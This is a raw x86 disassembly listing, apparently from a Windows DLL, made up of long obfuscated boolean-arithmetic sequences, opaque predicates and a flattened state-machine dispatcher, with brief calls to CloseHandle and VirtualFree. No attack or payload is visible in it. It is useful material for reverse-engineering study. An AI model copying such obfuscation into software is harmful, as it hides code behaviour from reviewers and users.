mov ch, byte [ebp - 0x18]
mov ah, ch
or ah, bl
xor bl, bh
and bl, bh
mov al, byte [ebp - 0x14]
mov bh, al
xor bh, cl
mov dl, bh
and dl, cl
and bh, al
and byte [ebp - 0x1c], cl
and ch, al
mov byte [ebp - 0x18], ch
or al, cl
mov byte [ebp - 0x14], al
or cl, dh
mov al, byte [ebp - 0x20]
xor al, 1
and al, dh
xor al, 1
mov dh, cl
xor dh, al
or al, cl
xor al, 1
or al, dh
mov byte [ebp - 0x20], al
xor ah, 1
or ah, byte [ebp - 0x24]
mov ch, bl
and bl, ah
xor ah, 1
xor ch, 1
mov al, ah
xor al, ch
and al, ah
and ch, ah
or ch, bl
or ch, al
xor dl, 1
xor bh, 1
mov eax, edx
xor al, bh
or bh, dl
xor bh, 1
or bh, al
movzx eax, byte [ebp - 0x18]
or al, byte [ebp - 0x1c]
mov cl, byte [ebp - 0x14]
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov ah, bh
xor ah, 1
mov dl, ah
and dl, bh
and cl, al
xor ah, dl
xor dl, 1
or dl, bh
xor dl, 1
or dl, ah
xor cl, 1
mov ah, al
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov ah, dl
xor ah, 1
and ah, cl
xor cl, 1
and cl, dl
or cl, ah
mov dl, bh
xor dl, al
or al, bh
xor al, 1
or al, dl
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov dh, ch
xor dh, 1
mov eax, edx
xor al, 1
mov cl, dh
or cl, al
and al, dl
xor al, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov dl, cl
xor dl, 1
and ch, al
xor al, 1
and al, dh
or al, ch
mov ch, al
xor ch, 1
and al, cl
or cl, ch
xor cl, 1
and ch, dl
or ch, al
or ch, cl
mov dl, ch
xor dl, 1
and dl, ch
xor dl, 1
mov al, ch
xor al, dl
or dl, ch
xor dl, 1
or dl, al
mov dh, byte [ebp - 0x20]
mov al, dh
xor al, 1
mov ch, al
and ch, dh
xor ch, 1
mov cl, dh
xor cl, ch
or ch, dh
xor ch, 1
or ch, cl
mov ah, ch
xor ah, 1
mov cl, ah
and cl, ch
xor cl, 1
or cl, ch
xor cl, 1
or cl, ah
xor cl, dl
or dh, dl
xor al, dl
mov dl, dh
xor dl, al
or al, dh
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov dl, ah
and al, ah
xor al, 1
mov ch, ah
xor ch, al
or al, ah
xor ah, cl
or dl, cl
xor dl, 1
or dl, ah
mov dh, cl
xor dh, 1
xor al, 1
or al, ch
mov ah, dh
and ah, cl
xor ah, 1
or ah, cl
xor ah, 1
or ah, dh
mov ecx, eax
xor cl, 1
and cl, ah
xor ah, 1
and ah, al
xor dl, 1
or ah, cl
xor ah, dl
mov al, ah
xor al, 1
and dl, al
xor al, dl
test al, 1
mov ecx, 0x836a01d3
mov esi, 0xc435d421
cmovne ecx, esi
test ah, 1
mov eax, ecx
mov esi, 0x836a01d3
jmp 0x100189a8
cmp eax, 0x8a744035
je 0x10021432
cmp eax, 0x91507daa
jne 0x1000f5c0
mov eax, dword [0x10049900]
lea ebx, [eax + 1]
imul ebx, eax
mov eax, ebx
not eax
mov dword [ebp - 0x18], eax
and eax, 0x85c8b5b3
mov edx, ebx
mov dword [ebp - 0x1c], ebx
and edx, 0x7a374a4c
or edx, eax
mov eax, edx
xor eax, 0x70064204
xor edx, 0x400090
and eax, 0xf58ef727
and edx, 0xa7108d8
or edx, eax
mov eax, edx
xor eax, 0xa7108d8
mov ecx, edx
xor ecx, 0xf40e7125
and ecx, 0xfe5f79f5
xor edx, 0xeb721b1
and edx, eax
and eax, 0x1a0860a
or eax, ecx
mov ecx, eax
xor ecx, 0x1a0860a
xor eax, 0xfa99509c
and eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x443219bb
and eax, 0xbbcde644
or eax, esi
mov esi, edx
not esi
or ecx, esi
and esi, 0x443219bb
and edx, 0xbbcde644
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
xor eax, 0x822801
xor ecx, 0x11005682
and ecx, 0x154457ea
and eax, 0xeabba815
or eax, ecx
mov edx, eax
xor edx, 0x154457ea
mov ecx, eax
xor ecx, 0xa0182804
and ecx, 0xb0583e26
xor eax, 0x87ed32a7
and eax, edx
and edx, 0x4fa7c1d9
or edx, ecx
mov ecx, edx
xor ecx, 0x810049
xor edx, 0x90082404
or edx, 0x6d569ab2
mov esi, edx
and esi, 0xc3224930
and ecx, 0x1089244d
or ecx, esi
mov esi, eax
not esi
or edx, esi
and esi, 0xc3224930
and eax, 0x3cddb6cf
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov esi, edx
xor esi, 0x9000082
mov ecx, edx
xor ecx, 0x92a9654d
and esi, 0x992940c3
mov eax, ecx
and ecx, 0x66d6bf3c
or ecx, esi
or eax, 0x992940c3
xor edx, 0x60561020
mov esi, eax
and esi, 0xc898e56
and edx, 0x62563128
or edx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0xc898e56
and ecx, 0xf37671a9
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov edi, eax
not edi
mov ecx, eax
and ecx, 0x7140374b
and edi, 0x8ebfc8b4
or edi, ecx
xor edi, 0x8ebfc8b4
or edi, eax
mov edx, dword [ebp - 0x18]
mov eax, edx
and eax, 0x2848b048
mov ecx, ebx
and ecx, 0x41004426
or ecx, eax
xor ecx, 0x41004426
mov ebx, edx
and ebx, 0x96b70b91
or ebx, ecx
mov eax, ebx
xor eax, 0x66d6bf3c
and eax, ebx
xor ebx, 0x992940c3
or ebx, eax
mov eax, edi
not eax
mov ecx, edi
and ecx, 0xc2e27a0a
mov edx, eax
and edx, 0x3d1d85f5
or edx, ecx
mov ecx, ebx
not ecx
mov dword [ebp - 0x14], ecx
and ecx, 0xc2e27a0a
mov esi, ebx
and esi, 0x3d1d85f5
or esi, ecx
xor esi, edx
mov edx, esi
xor edx, edi
and edx, esi
mov ecx, edi
and ecx, 0x9680c411
xor edi, 0x21743aca
and edi, eax
and eax, 0x480b0124
or eax, ecx
xor eax, 0x480b0124
or edi, eax
mov eax, ebx
xor eax, 0x21743aca
mov esi, dword [ebp - 0x14]
and eax, esi
or esi, 0x21743aca
mov ecx, esi
and ecx, 0x6b86a459
and ebx, 0x94094124
or ebx, ecx
mov ecx, eax
not ecx
or esi, ecx
and ecx, 0x6b86a459
and eax, 0x94795ba6
or eax, ecx
xor eax, ebx
not esi
or esi, eax
xor esi, edi
mov ecx, edx
not ecx
mov dword [ebp - 0x20], ecx
mov eax, edx
xor eax, 0x54a4edc
and eax, ecx
mov ecx, edx
and ecx, 0xfab5b123
or ecx, eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x14], esi
mov ebx, esi
not ebx
xor esi, 0x54a4edc
and esi, ebx
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0xb8f5824a
and esi, 0x470a7db5
or esi, edi
mov edi, ebx
or edi, 0x54a4edc
or ecx, edi
and edi, 0xb8f5824a
mov eax, dword [ebp - 0x14]
and eax, 0x42003121
or eax, edi
xor eax, esi
not ecx
or ecx, eax
xor ecx, dword [ebp - 0x24]
mov eax, edx
and eax, 0x5bc939c4
mov esi, dword [ebp - 0x20]
and esi, 0xa436c63b
or esi, eax
mov eax, dword [ebp - 0x14]
or edx, eax
and eax, 0x5bc939c4
and ebx, 0xa436c63b
or ebx, eax
xor ebx, esi
not edx
or edx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x6817cc32
mov esi, edx
and edx, 0x97e833cd
or edx, ecx
and esi, 0x760c15bf
xor edx, 0x1e1bd98d
or edx, eax
and eax, 0x89f3ea40
or eax, esi
mov esi, eax
xor esi, 0x760c15bf
and esi, eax
mov eax, esi
not eax
mov dword [ebp - 0x20], eax
and eax, 0x8a166e2d
mov ecx, esi
and ecx, 0x75e991d2
or ecx, eax
mov edi, edx
not edi
and edx, 0x76b33f15
mov ebx, edi
and ebx, 0x894cc0ea
or ebx, edx
mov eax, ebx
xor eax, 0x894cc0ea
mov dword [ebp - 0x14], eax
and eax, 0xfa419177
and edi, 0x5be6e88
or edi, eax
mov dword [ebp - 0x28], edi
mov edx, ecx
xor edx, 0x75e991d2
mov dword [ebp - 0x24], edx
mov eax, ecx
xor eax, 0x7057ff5a
and eax, edx
mov edi, eax
not edi
mov edx, edi
and edx, 0xbf63d357
and eax, 0x409c2ca8
or eax, edx
mov edx, dword [ebp - 0x20]
or edx, 0xfa419177
or edi, edx
and edx, 0xbf63d357
and esi, 0x9c2c88
or esi, edx
xor esi, eax
not edi
or edi, esi
xor edi, dword [ebp - 0x28]
xor ecx, 0x8a166e2d
mov eax, ecx
and eax, 0xe069fd0b
mov edx, dword [ebp - 0x24]
and edx, 0x1f9602f4
or edx, eax
xor ebx, 0x76b33f15
or ecx, ebx
and ebx, 0xe069fd0b
mov eax, dword [ebp - 0x14]
and eax, 0x1f9602f4
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov edx, edi
not edx
mov eax, edx
and eax, 0x6c1b330f
and edi, 0x93e4ccf0
or edi, eax
xor edi, ecx
xor edi, 0x93e4ccf0
or edx, ecx
not edx
or edx, edi
mov dword [ebp - 0x14], edx
mov edi, dword [ebp - 0x1c]
mov eax, edi
and eax, 0x335433f0
mov ebx, dword [ebp - 0x18]
mov edx, ebx
and edx, 0xccabcc0f
or edx, eax
mov ecx, ebx
and ecx, edi
mov esi, ecx
not esi
mov eax, edi
or eax, esi
and esi, 0x335433f0
and ecx, 0xccabcc0f
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov esi, eax
xor esi, 0xf7d4b86c
and esi, eax
mov eax, ebx
or eax, 0x94502
and edi, 0x24d4380c
and eax, 0xd309c562
or eax, edi
mov edi, eax
xor edi, 0xd309c562
xor eax, 0x28922218
and eax, 0x6a93665a
mov ecx, eax
mov eax, edi
and eax, 0x95449824
or eax, ecx
mov edx, esi
not edx
mov dword [ebp - 0x18], edx
and edx, 0x17152328
mov ecx, esi
and ecx, 0xe8eadcd7
or ecx, edx
mov edx, eax
xor edx, 0x956c99a5
mov ebx, edx
and ebx, 0x17152328
and edi, 0xe0c09844
or edi, ebx
mov ebx, edi
xor ebx, edi
not ebx
and ebx, ecx
xor ebx, edi
mov ecx, esi
and ecx, 0x9b8900f6
mov edi, dword [ebp - 0x18]
and edi, 0x6476ff09
or edi, ecx
xor eax, 0x6a93665a
or esi, eax
and eax, 0x93810066
and edx, 0x6476ff09
or edx, eax
xor edx, edi
mov ecx, dword [ebp - 0x14]
mov eax, ecx
xor eax, 0xef25557d
mov edi, eax
not esi
or esi, edx
not esi
or esi, ebx
xor ecx, 0x10daaa82
mov eax, ecx
mov edx, ecx
and eax, 0xc86c9e8a
mov ecx, edi
mov dword [ebp - 0x1c], edi
and ecx, 0x37936175
or ecx, eax
mov eax, ecx
xor eax, 0x21812061
xor ecx, 0x8680288
and ecx, 0x1e7a439c
and eax, 0xe185bc63
or eax, ecx
mov ebx, esi
xor ebx, 0xf7d4b86c
mov ecx, eax
xor ecx, 0x1e7a439c
xor eax, 0xe185bc63
xor esi, 0x82b4793
and eax, esi
and ecx, ebx
or ecx, eax
not ecx
or ecx, esi
mov dword [ebp - 0x18], ecx
mov eax, esi
and eax, 0xd2b299cb
and esi, ebx
and ebx, 0x2d4d6634
or ebx, eax
mov eax, ebx
xor eax, 0x290d4200
xor ebx, 0xd2b299cb
mov ecx, ebx
and ecx, 0xd4e0bdf4
and eax, 0x2b1f420b
or eax, ecx
mov ecx, esi
not ecx
or ebx, ecx
and ecx, 0xd4e0bdf4
and esi, 0x2b1f420b
or esi, ecx
xor esi, eax
not ebx
or ebx, esi
mov dword [ebp - 0x14], edx
mov eax, edx
and eax, 0xa71a08fb
mov ecx, edi
and ecx, 0x58e5f704
or ecx, eax
mov edi, ebx
not edi
and ebx, 0xa71a08fb
and edi, 0x58e5f704
or edi, ebx
xor edi, ecx
not edi
or edi, edx
mov esi, edi
not esi
mov ecx, edi
and ecx, 0x3ae2532c
mov eax, esi
and eax, 0xc51dacd3
or eax, ecx
mov edx, dword [ebp - 0x18]
mov ebx, edx
not ebx
mov dword [ebp - 0x20], ebx
mov ecx, edx
and ecx, 0xdf0cf70c
xor edx, 0x20f308f3
and edx, ebx
or edx, ecx
mov dword [ebp - 0x24], edx
mov edx, eax
xor edx, 0xc51dacd3
xor eax, 0x3ae2532c
mov ebx, eax
or ebx, 0x207008e0
and ebx, 0x27708be8
mov ecx, edx
and ecx, 0xd80c7404
or ecx, ebx
or edi, 0x7008308
and edi, 0x27708be8
and esi, 0x830013
or esi, edi
xor esi, ecx
xor esi, dword [ebp - 0x24]
mov ebx, dword [ebp - 0x20]
mov ecx, ebx
and ecx, 0xb8ee5869
mov edi, dword [ebp - 0x18]
and edi, 0x4711a796
or edi, ecx
or ebx, eax
and eax, 0xb8ee5869
and edx, 0x4711a796
or edx, eax
xor edx, edi
mov eax, ebx
not eax
or eax, edx
mov edx, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x615f7c5b
and esi, 0x9ea083a4
or esi, ecx
xor esi, edx
xor esi, 0x9ea083a4
or eax, edx
not eax
or eax, esi
mov ecx, dword [ebp - 0x14]
and ecx, 0x4fe8dd86
mov edi, dword [ebp - 0x1c]
and edi, 0xb0172279
or edi, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x2b171f6f
mov edx, eax
and edx, 0xd4e8e090
or edx, esi
mov esi, edi
xor esi, 0x4fe8dd86
xor edx, 0x2b171f6f
or edx, esi
not edx
xor esi, ecx
and esi, eax
or esi, edx
not esi
or esi, ecx
xor esi, 0xffffffff
sete dl
setne ah
cmp dword [0x10049904], 0xa
setl ch
setge al
mov dh, ah
xor dh, al
mov cl, dh
xor cl, 1
mov bl, dh
xor bl, ch
and bl, dh
and cl, al
mov bh, dh
and bh, ch
or bh, cl
or bh, bl
mov bl, bh
xor bl, 1
mov cl, bl
and cl, bh
xor bl, cl
xor cl, 1
or cl, bh
xor cl, 1
or cl, bl
and dh, ah
xor dl, al
or dl, dh
xor ah, ch
xor al, ch
and al, ah
xor al, ch
xor al, 1
or al, ah
mov ch, dl
xor ch, al
mov ah, ch
and ah, al
mov dh, ch
or al, dl
xor al, 1
or al, ch
and ch, dl
mov dl, ah
xor dl, 1
xor ah, ch
xor ch, 1
or ch, dl
xor ch, 1
or ch, ah
xor dh, 1
mov dl, dh
xor dl, al
or al, dh
xor al, 1
or al, dl
mov ah, al
xor ah, 1
and ah, al
xor ah, 1
mov edx, eax
xor dl, ah
or ah, al
xor ah, 1
or ah, dl
mov al, ah
xor al, 1
xor ah, ch
xor ch, 1
or ch, al
xor ch, 1
or ah, ch
mov edx, ecx
xor dl, 1
mov ch, cl
and ch, dl
xor ch, 1
mov al, dl
or al, ch
xor al, 1
or al, cl
mov dh, al
xor dh, 1
mov ebx, eax
and bl, dh
xor bl, 1
mov bh, dh
xor bh, bl
or bl, dh
xor bl, 1
or bl, bh
mov dh, ah
xor dh, 1
xor bl, 1
or bl, ah
xor bl, 1
or al, dh
xor al, 1
or al, bl
or ch, cl
xor ch, 1
or ch, dl
mov bl, ch
xor bl, 1
mov cl, ch
and cl, bl
xor cl, 1
or cl, bl
xor cl, 1
or cl, ch
mov ch, cl
xor ch, 1
and ch, dh
and cl, ah
or cl, ch
or dh, dl
xor dl, ah
mov ah, dl
xor ah, dh
or dl, dh
xor dl, 1
or dl, ah
mov ch, cl
xor ch, 1
mov ah, ch
and ah, cl
xor ah, 1
or ah, cl
xor ah, 1
or ah, ch
mov ch, ah
xor ch, 1
and ch, dl
xor dl, 1
and ah, dl
or ah, ch
mov ch, cl
xor ch, dl
or dl, cl
xor dl, 1
or dl, ch
xor ah, 1
mov cl, ah
xor cl, dl
or ah, dl
xor ah, 1
or ah, cl
mov cl, ah
xor cl, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
xor al, 1
or ah, al
mov ch, ah
xor ch, 1
xor al, dl
mov cl, ah
and cl, ch
xor cl, 1
or cl, ch
xor cl, 1
or cl, ah
xor cl, al
xor al, 1
mov dl, ch
xor dl, al
or al, ch
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xe3c36466
mov esi, 0xb8e59c87
cmovne edx, esi
test al, 1
mov eax, 0xe3c36466
jmp 0x10027579
cmp eax, 0x35365002
je 0x10021e47
cmp eax, 0x362dc209
jne 0x1000f5c0
mov eax, dword [ebp - 0x3c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x40]
push 0x8000
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 0x48]
mov dword [eax], 1
mov eax, dword [0x10049900]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, ecx
mov edi, ecx
and eax, 0xc5a0a236
mov edx, esi
and edx, 0x3a5f5dc9
or edx, eax
xor edx, 0x3a5f5dc9
mov dword [ebp - 0x24], ecx
and ecx, esi
mov dword [ebp - 0x20], esi
or ecx, edx
mov eax, ecx
not eax
and eax, 0x828000df
or eax, 0x20671020
and ecx, 0x5104042
and eax, 0xa2e710a0
or eax, ecx
mov ecx, edi
and ecx, 0xe3bab019
and esi, 0x1c454fe6
or esi, ecx
xor esi, 0x642af0db
mov edx, esi
xor edx, edi
and edx, esi
mov ecx, eax
xor ecx, 0xa2e710a0
mov esi, eax
xor esi, 0x14082840
and esi, 0x36283860
xor eax, 0x81100000
and eax, ecx
mov edi, ecx
and edi, 0x81904082
or edi, esi
xor edi, 0xc9d7c79f
mov ecx, edx
xor ecx, 0x2b9b1c8c
mov esi, ecx
and ecx, edx
not edx
and esi, edx
or edx, edi
and edi, 0x239a1c84
or eax, edi
or ecx, esi
xor ecx, eax
mov eax, ecx
xor eax, 0x8010008
xor ecx, 0xf7fefff7
mov esi, ecx
and esi, 0xe7784de2
and eax, 0x1887b21d
or eax, esi
or ecx, edx
and edx, 0xf7f87de2
xor edx, eax
xor edx, 0x10803000
not ecx
or ecx, edx
mov edx, ecx
mov eax, ecx
xor eax, 0x89e3af54
and eax, ecx
or ecx, 0x761c50ab
not edx
mov esi, ecx
and esi, 0xf0064a06
and edx, 0x9e1a550
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0xf0064a06
and eax, 0xff9b5f9
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0x310c0040
xor ecx, 0x203a880
and ecx, 0xc283b8a9
and eax, 0x3d7c4756
or eax, ecx
mov ebx, eax
xor ebx, 0x2d7c0550
xor eax, 0xc282a0a8
and eax, 0xd282e2ae
and ebx, 0x2d7d1d51
or ebx, eax
mov ecx, ebx
xor ecx, 0x90008020
or ecx, 0x212605e
mov eax, ebx
xor eax, 0x490801
and ecx, 0x9216f17e
and eax, 0xc90a01
or eax, ecx
mov ecx, ebx
xor ecx, 0x100050
or ecx, 0x90049120
xor ebx, 0x40000080
and ecx, 0x9216f17e
and ebx, 0x6d200480
or ebx, ecx
xor ebx, eax
mov eax, ebx
xor eax, 0x6f3264de
xor ebx, 0x90cd9b20
mov ecx, ebx
and ecx, 1
and eax, 0xfffffffe
or eax, ecx
xor ebx, eax
and ebx, eax
mov esi, dword [ebp - 0x24]
mov eax, esi
and eax, 0x17ff70d8
mov edi, dword [ebp - 0x20]
mov edx, edi
and edx, 0xe8008f26
or edx, eax
xor edx, 0xe8008f26
mov ecx, edi
xor ecx, 0xfffffffe
and ecx, edi
or ecx, edx
mov eax, esi
and eax, 0xc4bdedfe
mov edx, edi
and edx, 0x3b421201
or edx, eax
mov esi, ecx
not esi
mov eax, esi
and eax, 0xa5b68057
and ecx, 0x5a497fa8
or ecx, eax
mov edi, edx
xor edi, 0x1a401200
xor edx, 0x84b48056
and edx, 0xa5b68057
and edi, 0x5a497fa8
or edi, edx
xor edi, ecx
not edi
or edi, esi
mov eax, ebx
not eax
mov ecx, eax
mov dword [ebp - 0x1c], eax
and ecx, 0x544e00
mov edx, ebx
and edx, 0x51022141
or ecx, edx
xor ecx, 0x40000101
or edx, 0x24889000
and edx, 0x358ab040
and ecx, 0x40544f01
or ecx, edx
mov edx, eax
or edx, 0x11022040
and edx, 0x358ab040
mov eax, ebx
and eax, 0x8a2100be
or eax, edx
xor eax, ecx
mov dword [ebp - 0x18], eax
mov ecx, edi
not ecx
mov edx, edi
and edx, 0x14f6ec1a
mov esi, ecx
and esi, 0xeb0913e5
or esi, edx
mov edx, esi
xor edx, 0x41090225
xor esi, 0x14f6ec1a
mov dword [ebp - 0x14], esi
and esi, 0xbe3695da
and edx, 0x41c96a25
or edx, esi
mov esi, edi
and esi, ecx
mov eax, esi
not eax
or dword [ebp - 0x14], eax
and eax, 0xbe3695da
and esi, 0x41c96a25
or esi, eax
xor esi, edx
mov eax, dword [ebp - 0x14]
not eax
or eax, esi
mov dword [ebp - 0x14], eax
mov esi, dword [ebp - 0x18]
mov eax, esi
xor eax, 0xaea990be
mov dword [ebp - 0x28], eax
xor esi, 0x51566f41
mov dword [ebp - 0x18], esi
and eax, 0xfd49b42b
mov edx, esi
and edx, 0x2b64bd4
or edx, eax
xor edx, 0x4fa338b
and esi, 0xf9b387a0
or esi, edx
mov dword [ebp - 0x30], esi
mov esi, dword [ebp - 0x1c]
or esi, 0x2482045
and ebx, 0x11128680
and esi, 0xeae92165
or esi, ebx
mov edx, dword [ebp - 0x14]
mov eax, edx
not eax
mov dword [ebp - 0x2c], eax
mov ebx, eax
or ebx, 0x21b18580
mov eax, edx
and eax, 0xc4047
and ebx, 0x27f1bd98
or ebx, eax
mov dword [ebp - 0x1c], ebx
and edi, 0xadd10dea
and ecx, 0x522ef215
or ecx, edi
mov ebx, ecx
xor ebx, 0x522ef215
xor ecx, 0x800108c2
and ecx, 0xd0238ac6
mov eax, ebx
and eax, 0x2fdc7539
or eax, ecx
xor eax, 0xd66ff299
and ebx, 0x64c785f
or ebx, eax
mov edi, dword [ebp - 0x30]
mov eax, edi
not eax
mov edx, esi
xor esi, 0x1516de9a
mov ecx, eax
xor ecx, esi
and ecx, eax
and edi, 0xbe50f232
and eax, 0x41af0dcd
or eax, edi
xor edx, 0x40a10100
and esi, 0xbe50f232
and edx, 0x41a30580
or edx, esi
xor edx, eax
mov esi, ecx
not esi
mov eax, esi
and eax, 0xa3b4ec08
and ecx, 0x5c4b13f7
or ecx, eax
mov eax, edx
not eax
or esi, eax
and eax, 0xa3b4ec08
and edx, 0x5c4b13f7
or edx, eax
xor edx, ecx
not esi
or esi, edx
mov dword [ebp - 0x30], esi
mov edx, dword [ebp - 0x1c]
mov edi, edx
xor edi, 0x27f1bd98
mov eax, edx
xor eax, 0x900c4064
and eax, 0x939d6dec
xor edx, 0x408181b
and edx, edi
and edi, 0x4401013
or edi, eax
mov ecx, edi
xor ecx, 0x6c629213
mov eax, ecx
and eax, 0xa2da2023
or edx, eax
mov dword [ebp - 0x1c], edx
mov eax, ebx
not eax
mov esi, ebx
and esi, 0xaafaa223
mov edx, ebx
xor edx, 0x55055ddc
and edx, eax
or edx, esi
xor edx, dword [ebp - 0x1c]
xor edi, 0x939d6dec
mov esi, edi
and esi, 0x9140cf
and ecx, 0xcf4e3d10
or ecx, esi
or edi, eax
and eax, 0x30b1c2ef
and ebx, 0xcf4e3d10
or ebx, eax
xor ebx, ecx
not edi
or edi, ebx
mov eax, edx
xor eax, 0x208000
xor edx, 0xf7df7dff
mov ecx, edx
and ecx, 0x5b915be0
and eax, 0xa46ea41f
or eax, ecx
mov ecx, edi
not ecx
or edx, edi
and edi, 0x5b915be0
and ecx, 0xa46ea41f
or ecx, edi
xor ecx, eax
not edx
or edx, ecx
mov ecx, edx
xor ecx, 0x6083351f
and ecx, edx
mov edi, edx
not edx
or edi, 0x9f7ccae0
mov esi, edi
and esi, 0xa4ffcc13
and edx, 0x4000310c
or edx, esi
mov esi, ecx
not esi
or edi, esi
and esi, 0xa4ffcc13
and ecx, 0x5b0033ec
or ecx, esi
xor ecx, edx
not edi
or edi, ecx
xor edi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov edx, eax
mov esi, dword [ebp - 0x2c]
xor edx, esi
and edx, eax
mov ecx, dword [ebp - 0x18]
and ecx, 0x41828568
and eax, 0xbe7d7a97
or eax, ecx
mov ecx, eax
and esi, 0x41828568
mov eax, dword [ebp - 0x14]
and eax, 0xbe7d7a97
or eax, esi
xor eax, ecx
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x1fae8d91
and edx, 0xe051726e
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0x1fae8d91
and eax, 0xe051726e
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov edx, ecx
not edx
mov esi, edx
and esi, 0xd7ecf938
and edx, ecx
and ecx, 0x281306c7
or ecx, esi
xor ecx, 0x281306c7
or ecx, edx
mov eax, ecx
not eax
mov dword [ebp - 0x18], eax
and ecx, 0x697dfa4
and eax, 0xf968205b
or eax, ecx
mov edx, edi
xor edx, 0x9f7ccae0
mov dword [ebp - 0x1c], edx
mov ecx, edi
xor edi, 0xe0bd3f0e
mov ebx, edi
and ebx, edx
mov edx, ebx
not edx
mov esi, edx
and esi, 0x15b19a56
and ebx, 0xea4e65a9
or ebx, esi
xor ecx, 0x6083351f
mov dword [ebp - 0x14], ecx
and edi, ecx
mov esi, edi
not esi
or edx, esi
and esi, 0x15b19a56
and edi, 0xea4e65a9
or edi, esi
xor edi, ebx
not edx
or edx, edi
mov ecx, eax
xor ecx, 0xf968205b
mov esi, ecx
or esi, 0x7fc1f5ee
mov ebx, esi
and ebx, 0x927c8bf1
mov edi, dword [ebp - 0x18]
and edi, 0x20000
or edi, ebx
mov dword [ebp - 0x18], edi
mov ebx, eax
xor eax, 0x79562a4a
and eax, ecx
mov edi, eax
not edi
or esi, edi
and edi, 0x927c8bf1
and eax, 0x6d83740e
or eax, edi
xor eax, dword [ebp - 0x18]
not esi
or esi, eax
mov edi, esi
xor edi, esi
not edi
and edi, edx
xor edi, esi
mov esi, dword [ebp - 0x14]
mov eax, esi
and eax, 0x820ece7b
mov edx, dword [ebp - 0x1c]
and edx, 0x7df13184
or edx, eax
xor ebx, 0x4911184
or esi, ecx
mov eax, esi
and ecx, 0x820ece7b
and ebx, 0x7df13184
or ebx, ecx
xor ebx, edx
not eax
or eax, ebx
not eax
or eax, edi
mov dword [ebp - 0x14], eax
mov esi, dword [ebp - 0x24]
mov eax, esi
and eax, 0x95a788c
mov edx, dword [ebp - 0x20]
mov ecx, edx
and ecx, 0x20058113
or ecx, eax
xor ecx, 0x20058113
mov edi, edx
xor edi, 0x295ff99f
and edi, edx
or edi, ecx
mov ecx, edi
xor ecx, 0x14a00600
xor edi, 0x813c90b
and ecx, 0x35ec3694
and edi, 0xca13c96b
or edi, ecx
mov eax, esi
and eax, 0xa12415e0
and edx, 0x5edbea1f
or edx, eax
mov ecx, edx
xor ecx, 0x5edbea1f
xor edx, 0x21001120
and edx, 0x37081139
mov esi, ecx
and esi, 0xc8f7eec6
or esi, edx
xor esi, 0xc8f7eec6
or esi, ecx
mov ecx, esi
and ecx, 0x4497179e
mov ebx, esi
not ebx
mov dword [ebp - 0x18], ebx
and ebx, 0xbb68e861
or ebx, ecx
mov ecx, edi
xor ecx, 0x35ec3694
mov dword [ebp - 0x1c], ecx
mov eax, edi
xor eax, 0xabe8d72c
and eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xb91412d2
and eax, 0x46ebed2d
or eax, ecx
mov dword [ebp - 0x20], eax
mov eax, ebx
xor eax, 0xbb68e861
xor ebx, 0x256c09d9
and ebx, eax
mov ecx, eax
mov eax, dword [ebp - 0x1c]
or ecx, eax
or eax, 0x61fb1e47
xor edi, 0x200c128
or edx, eax
and eax, 0xb91412d2
and edi, 0x600e128
or edi, eax
xor edi, dword [ebp - 0x20]
not edx
or edx, edi
mov eax, ebx
not eax
mov edi, eax
and edi, 0x67c9f26d
and ebx, 0x98360d92
or ebx, edi
or esi, 0x61fb1e47
or eax, esi
and esi, 0x67c9f26d
mov edi, dword [ebp - 0x18]
and edi, 0x98040190
or edi, esi
xor edi, ebx
not eax
or eax, edi
xor eax, edx
mov esi, ecx
not esi
or esi, eax
mov ecx, dword [ebp - 0x14]
mov eax, ecx
mov edx, ecx
not edx
mov dword [ebp - 0x18], edx
and edx, 0x4430210
and eax, 0x8249884
or eax, edx
mov edi, ecx
xor edi, 0xc679a94
and edi, ecx
xor eax, 0x8249884
or edi, eax
mov eax, esi
not eax
mov edx, esi
and edx, 0x4b911381
mov ebx, eax
and ebx, 0xb46eec7e
or ebx, edx
mov ecx, edi
xor ecx, 0xf398656b
xor edi, 0x4668814
mov edx, esi
or edx, ecx
and ecx, 0x4b911381
and edi, 0xb46eec7e
or edi, ecx
xor edi, ebx
not edx
or edx, edi
and esi, 0x2209db21
and eax, 0xddf624de
or eax, esi
mov ecx, eax
xor eax, 0x2209db21
mov ebx, dword [ebp - 0x14]
and eax, ebx
xor ecx, 0xddf624de
mov esi, dword [ebp - 0x18]
